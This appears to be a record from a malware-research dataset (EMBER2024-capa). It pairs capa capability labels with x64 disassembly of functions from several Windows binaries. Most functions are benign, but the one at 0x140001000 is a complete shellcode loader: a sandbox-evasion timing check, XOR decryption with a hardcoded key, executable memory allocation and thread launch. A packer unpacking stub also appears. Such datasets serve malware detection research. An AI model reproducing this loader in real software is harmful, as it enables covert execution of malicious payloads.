joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400087bc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140008808
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140008800
cmp dword [rcx + 0x3c], edx
jl 0x140008800
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140008800
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140008808
mov rax, rdx
add rsp, 0x18
ret

Function at 0x140001000
Capabilities:
Create thread
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov ecx, 0x3b9aca00
mov dword [rsp + 0x30], 0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
call qword [sym.imp.WINMM.dll_timeGetTime]
mov ecx, 0x3e8
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.WINMM.dll_timeGetTime]
test rdi, rdi
je 0x140001148
lea ecx, [rbx + 0x3e8]
cmp eax, ecx
jbe 0x140001148
lea ecx, [rbx + 0x41a]
cmp eax, ecx
jae 0x140001148
xor edx, edx
mov r8d, 0x3b9aca00
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor ecx, ecx
mov edx, 0x1cc
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r9d, r9d
lea r8, [0x140004090]
xor edx, edx
lea r10, str.secretkey
mov rbx, rax
nop dword [rax]
nop word [rax + rax]
xor ecx, ecx
lea r8, [r8 + 1]
cmp rdx, 9
cmovne rcx, rdx
inc r9d
movzx eax, byte [rcx + r10]
lea rdx, [rcx + 1]
xor byte [r8 - 1], al
cmp r9d, 0x1cc
jb 0x1400010c0
mov r8d, 0x1cc
lea rdx, [0x140004090]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x30]
mov edx, 0x1cc
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001148
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001180
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001a48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a92
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a94
xor al, al
add rsp, 0x28
ret
Function at 0x14003ca00
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14003ca0d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14003ca1d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14003ca05
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14003ca35
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14003ca22
sub eax, 3
jb 0x14003ca4f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14003ca86
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14003ca76
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14003ca74
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14003ca63
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14003c9c2
jmp 0x14003ca0d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x23e00
mov dl, reloc.COMCTL32.dll_InitCommonControls
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14003cad2
cmp rsi, rcx
jae 0x14003cada
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14003cab9
cmp al, 0x8f
ja 0x14003cab9
cmp byte [rsi - 2], 0xf
je 0x14003cabf
sub al, 0xe8
cmp al, 1
ja 0x14003caa3
cmp rsi, rcx
jae 0x14003cada
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14003caa9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14003cada
lodsb al, byte [rsi]
jmp 0x14003cab9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x39000]
mov eax, dword [rdi]
or eax, eax
je 0x14003cb43
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x40f34]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14003cae7
jns 0x14003cb1c
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14003cb26
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14003cb3d
mov qword [rbx], rax
add rbx, 8
jmp 0x14003cb07
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x18f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14003cb9b
sub rsp, 0xffffffffffffff80
jmp 0x1400242ac
Function at 0x140002610
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000266d
lea rbx, [0x140034730]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140002654
cmp r10, 2
jb 0x140002654
cmp byte [r9], r8b
jne 0x140002654
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140002630
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1400026af
lea rbx, [0x140034730]
cmp r8b, 0x23
jne 0x140002693
cmp byte [r9], r8b
jne 0x140002693
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140002680
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140002870
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbx, rcx
test rcx, rcx
jne 0x14000289f
mov r8d, 0x5f7
lea rdx, str.C:UserskaragDesktop_airflowimgui_masterimgui.cpp
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rdi, rdi
je 0x1400028ab
mov qword [rdi], 0
lea rdx, [0x1400343b0]
mov rcx, rbx
call fcn.1400026c0
mov rbx, rax
test rax, rax
jne 0x1400028cd
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x1400029a4
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400029a4
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x1400029a4
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400029a4
cmp rsi, 0xffffffffffffffff
je 0x1400029a4
mov rax, qword [0x14005e920]
test rax, rax
je 0x140002941
inc dword [rax + 0x3b4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x1400029a4
mov r9, rbx
mov r8, rsi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rsi
je 0x140002991
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x14005e920]
test rax, rax
je 0x140002986
dec dword [rax + 0x3b4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400029ad
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rdi, rdi
je 0x14000299f
mov qword [rdi], rsi
mov rax, rbp
jmp 0x1400029af
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140004160
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0xc0], 0
mov rbx, rcx
mov edi, edx
jg 0x140004196
mov r8d, 0x65b
lea rdx, str.C:UserskaragDesktop_airflowimgui_masterimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd r8, dword [rbx + 0xc0]
mov rax, qword [rbx + 0xc8]
mov edx, dword [rax + r8*4 - 4]
lea r8, [0x140034730]
not edx
movzx eax, dil
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x39]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3a]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3b]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov rax, qword [0x14005e920]
xor edx, dword [r8 + rcx*4]
not edx
cmp dword [rax + 0x1b30], edx
jne 0x140004210
mov dword [rax + 0x1b34], edx
cmp dword [rax + 0x1b70], edx
jne 0x14000421f
mov byte [rax + 0x1b74], 1
mov rbx, qword [rsp + 0x30]
mov eax, edx
add rsp, 0x20
pop rdi
ret
Function at 0x140004690
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x78
mov rax, qword [0x14005e920]
test rax, rax
je 0x1400046b6
inc dword [rax + 0x3b4]
mov ecx, 0x3f70
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0x38]
mov qword [rbp + 0x48], rcx
mov qword [rbp + 0x50], rax
xor r14d, r14d
test rax, rax
je 0x1400046e8
xor edx, edx
mov rcx, rax
call fcn.140001250
mov rbx, rax
jmp 0x1400046eb
mov rbx, r14
mov rax, qword [0x14005e920]
test rax, rax
cmove rax, rbx
mov qword [0x14005e920], rax
cmp byte [rbx], 0
jne 0x14000470e
cmp byte [rbx + 0x30d1], 0
je 0x140004728
mov r8d, 0xf9e
lea rdx, str.C:UserskaragDesktop_airflowimgui_masterimgui.cpp
lea rcx, str._g.Initialized___g.SettingsLoaded
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov dword [rbp - 0x4c], r14d
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x18], r14
lea rax, str.Window
mov qword [rbp - 0x58], rax
mov esi, 0xffffffff
mov edx, esi
lea r8, [0x140031bc9]
mov r9b, 0x57
lea r15, [0x140034730]
cmp r9b, 0x23
jne 0x140004769
cmp byte [r8], r9b
jne 0x140004769
cmp byte [r8 + 1], r9b
cmove edx, esi
movzx ecx, dl
movzx eax, r9b
xor rcx, rax
shr edx, 8
xor edx, dword [r15 + rcx*4]
movzx r9d, byte [r8]
inc r8
test r9b, r9b
jne 0x140004757
not edx
mov dword [rbp - 0x50], edx
lea rax, [0x140014790]
mov qword [rbp - 0x48], rax
lea rax, [0x140014850]
mov qword [rbp - 0x38], rax
lea rax, [0x140014910]
mov qword [rbp - 0x30], rax
lea rax, [0x1400149e0]
mov qword [rbp - 0x28], rax
lea rax, [0x140014b20]
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x58]
lea rcx, [rbx + 0x30e8]
call fcn.1400151a0
mov dword [rbp - 0x4c], r14d
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x18], r14
lea rax, str.Table
mov qword [rbp - 0x58], rax
mov eax, esi
lea r8, [0x140039d95]
mov r9b, 0x54
cmp r9b, 0x23
jne 0x140004807
cmp byte [r8], r9b
jne 0x140004807
cmp byte [r8 + 1], r9b
cmove eax, esi
movzx edx, al
movzx ecx, r9b
xor rdx, rcx
shr eax, 8
xor eax, dword [r15 + rdx*4]
movzx r9d, byte [r8]
inc r8
test r9b, r9b
jne 0x1400047f5
not eax
mov dword [rbp - 0x50], eax
lea rax, [0x140027df0]
mov qword [rbp - 0x48], rax
lea rax, [0x140027f40]
mov qword [rbp - 0x38], rax
lea rax, [0x140028030]
mov qword [rbp - 0x30], rax
lea rax, [0x140027eb0]
mov qword [rbp - 0x28], rax
lea rax, [0x1400282b0]
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x58]
lea rcx, [rbx + 0x30e8]
call fcn.1400151a0
mov byte [rbx], 1
mov rax, rbx
add rsp, 0x78
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14000f550
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [0x14005e920]
mov edi, edx
cmp byte [rbx + 0x1ff5], 0
jne 0x14000f5a1
cmp byte [rbx + 0x1ff6], 0
jne 0x14000f5a1
mov r9d, dword [rbx + 0x3098]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140002590
test dil, 1
je 0x14000f6c6
jmp 0x14000f629
movss xmm1, dword [rbx + 0x1614]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x14003a678]
xor eax, eax
mulss xmm1, dword [0x14003a660]
addss xmm0, dword [rbx + 0x128]
lea edx, [rax + 0x10]
addss xmm1, dword [rbx + 0x12c]
mov qword [rbx + 0x1ba0], rax
mov dword [rbx + 0x1b8c], 1
movss dword [rbx + 0x1b98], xmm0
movss dword [rbx + 0x1b9c], xmm1
movss xmm0, dword [rbx + 0x1670]
mulss xmm0, dword [0x14003a5f8]
or dword [rbx + 0x1b88], 0x41
movss dword [rbx + 0x1be8], xmm0
mov r9d, dword [rbx + 0x3098]
call fcn.140002590
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x14000f680
lea r11, [0x140034730]
nop dword [rax]
cmp r9b, 0x23
jne 0x14000f663
cmp byte [r8], r9b
jne 0x14000f663
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14000f650
not ecx
call fcn.140008780
test rax, rax
je 0x14000f6c6
cmp byte [rax + 0x86], 0
je 0x14000f6c6
mov byte [rax + 0x8d], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xa4], 1
lea rcx, [rsp + 0x20]
inc dword [rbx + 0x3098]
mov edx, 0x10
mov r9d, dword [rbx + 0x3098]
call fcn.140002590
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14000add0
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140013df0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x40
mov rbx, qword [0x14005e920]
cmp byte [rbx + 0x3128], 0
je 0x140013edc
cmp qword [rbx + 0x3130], 0
mov qword [rax - 0x18], rsi
lea rsi, [rax + 0x10]
mov qword [rax - 0x20], rdi
lea rdi, [rbx + 0x3138]
je 0x140013ec4
mov r9d, dword [rdi + 4]
mov qword [rax - 0x10], rbp
xor ebp, ebp
test r9d, r9d
jns 0x140013e6b
mov eax, r9d
mov rcx, rdi
cdq
sub eax, edx
mov edx, ebp
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140015d70
mov rcx, qword [rsp + 0x50]
mov rdx, rcx
mov dword [rdi], ebp
mov rcx, rdi
mov r8, rsi
call fcn.140002d40
mov eax, dword [rdi]
mov edx, 1
mov r9, qword [rbx + 0x3130]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rbx + 0x3140]
cmove ecx, ebp
test rax, rax
movsxd r8, ecx
lea rcx, [0x14005e918]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
add rsp, 0x40
pop rbx
ret
mov rdx, rcx
mov r8, rsi
mov rcx, rdi
call fcn.140002d40
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
add rsp, 0x40
pop rbx
ret
Function at 0x140030138
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140030182
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140030182
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140030182
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140030182
cmp dword [rcx + 0x84], 0xe
jbe 0x140030182
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140030184
xor al, al
add rsp, 0x28
ret
Function at 0x140001e00
Capabilities:
Terminate thread

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rax, vtable.Thread.0
mov qword [rcx], rax
cmp byte [rcx + 0x4c], 0
je 0x140001e62
mov rcx, qword [rcx + 0xc]
test rcx, rcx
je 0x140001e62
mov edx, 0x7d0
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140001e4e
lea rcx, str._AsusSync_Thread_os__Terminate___n
call fcn.1400959a0
xor edx, edx
mov rcx, qword [rbx + 0xc]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateThread]
jmp 0x140001e5a
lea rcx, str._AsusSync_Thread_os__Terminate_____thread_graceful_closed_n
call fcn.1400959a0
mov qword [rbx + 0xc], 0
lea rcx, [rbx + 0x4d]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_DeleteCriticalSection]
lea rcx, [rbx + 0x14]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_DeleteCriticalSection]
Function at 0x140001fb0
Capabilities:
Terminate thread

Disassembly:
push rbp
push r14
sub rsp, 0x78
mov rax, qword [0x140164030]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r14, rcx
lea rcx, str.User32.dll
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_1.dll_LoadLibraryW]
mov rbp, rax
test rax, rax
je 0x1400021b5
mov qword [rsp + 0x98], rbx
lea rdx, str.MsgWaitForMultipleObjects
mov qword [rsp + 0xa0], rsi
mov rcx, rax
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0x70], r15
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
lea rdx, str.PeekMessageW
mov rcx, rbp
mov r15, rax
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
lea rdx, [0x14010b860]
mov rcx, rbp
mov rbx, rax
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
lea rdx, [0x14010b878]
mov rcx, rbp
mov rdi, rax
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
mov rsi, rax
test r15, r15
je 0x14000218f
test rbx, rbx
je 0x14000218f
test rdi, rdi
je 0x14000218f
test rax, rax
je 0x14000218f
lea rcx, str._AsusSync_Thread__WaitEnding_____MsgWaitForMultipleObjects_n
call fcn.1400959a0
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov r9d, 0x7d0
lea rdx, [r14 + 0xc]
mov rax, r15
lea ecx, [r8 + 1]
call qword [0x1400fac68]
cmp eax, 0x102
je 0x140002177
nop dword [rax]
test eax, eax
je 0x1400021ca
cmp eax, 1
jb 0x14000213e
lea rcx, str._AsusSync_Thread__WaitEnding___SendMessage_is_waited_n
call fcn.1400959a0
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
mov rax, rbx
call qword [0x1400fac68]
test eax, eax
je 0x14000213e
nop
mov edx, dword [rsp + 0x38]
lea rcx, str._AsusSync_Thread__WaitEnding___Message:__d_n
call fcn.1400959a0
lea rcx, [rsp + 0x30]
mov rax, rdi
call qword [0x1400fac68]
lea rcx, [rsp + 0x30]
mov rax, rsi
call qword [0x1400fac68]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
mov rax, rbx
call qword [0x1400fac68]
test eax, eax
jne 0x1400020f0
lea rcx, str._AsusSync_Thread__WaitEnding_____MsgWaitForMultipleObjects_n
call fcn.1400959a0
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov r9d, 0x7d0
lea rdx, [r14 + 0xc]
mov rax, r15
lea ecx, [r8 + 1]
call qword [0x1400fac68]
cmp eax, 0x102
jne 0x1400020b0
lea rcx, str._AsusSync_Thread__WaitEnding___terminate_thread_n
call fcn.1400959a0
mov rcx, qword [r14 + 0xc]
xor edx, edx
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateThread]
mov rcx, rbp
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_FreeLibrary]
mov r15, qword [rsp + 0x70]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400c2450
add rsp, 0x78
pop r14
pop rbp
ret
lea rcx, str._AsusSync_Thread__WaitEnding___Object_0_is_waited_n
call fcn.1400959a0
jmp 0x14000218f
Function at 0x140002f10
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x140164030]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x40], 0
mov rcx, qword [rcx + 0xcb]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_ResetEvent]
lea r14, [rbx + 0xd3]
mov rcx, qword [rbx + 0x9d]
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x40]
mov r8d, 0x640
lea rdx, [rdi + 0x30]
mov rcx, qword [rcx + 0x75]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_ReadFile]
test eax, eax
jne 0x140003030
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 0x3e5
jne 0x140002fb5
mov rcx, qword [rbx + 0x9d]
mov r9d, 1
lea r8, [rsp + 0x40]
mov rdx, r14
mov rcx, qword [rcx + 0x75]
call qword [sym.imp.api_ms_win_core_io_l1_1_0.dll_GetOverlappedResult]
test eax, eax
jne 0x140003030
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov esi, eax
mov edx, eax
lea rcx, str._AsusSync_WaveOut__RunBody___Read_from_SCO_failed:_GetLastError__d_n
call fcn.1400959a0
cmp esi, 0x48f
je 0x140002fd8
cmp esi, 1
jne 0x140002fdf
mov byte [rbx + 0x27d5], 1
inc dword [rbx + 0xbf]
cmp dword [rbx + 0xbf], 6
jle 0x140003039
mov r8, qword [rbx + 0x9d]
test r8, r8
je 0x14000301a
mov rax, qword [r8 + 0xc3]
test rax, rax
je 0x14000301a
mov r8, qword [r8 + 0x7d]
mov edx, reloc.WS2_32.dll_ntohl
mov ecx, 0xa0000002
call qword [0x1400fac68]
mov dword [rbx + 0xbf], 0
mov dword [rdi + 0x18], 1
jmp 0x1400030e3
cmp dword [rbx + 0xb7], 2
je 0x140003045
mov dword [rdi + 0x18], 1
jmp 0x1400030e3
mov edx, dword [rsp + 0x40]
mov dword [rdi + 8], edx
lea rcx, str._AsusSync_WaveOut__RunBody___to_send__d_bytes_to_the_speader_device_n
call fcn.1400959a0
cmp byte [rbx + 0x27d6], 1
jne 0x140003071
mov r8d, dword [rsp + 0x40]
xor edx, edx
lea rcx, [rdi + 0x30]
call fcn.1400c5120
mov r8d, 0x30
mov rdx, rdi
mov rcx, qword [rbx + 0x95]
call qword [sym.imp.api_ms_win_mm_mme_l1_1_0.dll_waveOutPrepareHeader]
test eax, eax
je 0x1400030a6
mov r9, qword [rbx + 0x95]
mov r8d, eax
mov edx, 0x329
lea rcx, str._AsusSync_Wave__AirFoneError_WaveApiError_ERROR__line__d_:_MMRESULT___d__hWave___X_
call fcn.1400959a0
mov r8d, 0x30
mov rdx, rdi
mov rcx, qword [rbx + 0x95]
call qword [sym.imp.api_ms_win_mm_mme_l1_1_0.dll_waveOutWrite]
test eax, eax
je 0x1400030dc
mov r9, qword [rbx + 0x95]
mov r8d, eax
mov edx, 0x32a
lea rcx, str._AsusSync_Wave__AirFoneError_WaveApiError_ERROR__line__d_:_MMRESULT___d__hWave___X_
call fcn.1400959a0
nop
jmp 0x1400030e3
xor edx, edx
mov rcx, rbx
call fcn.140002ca0
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400c2450
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret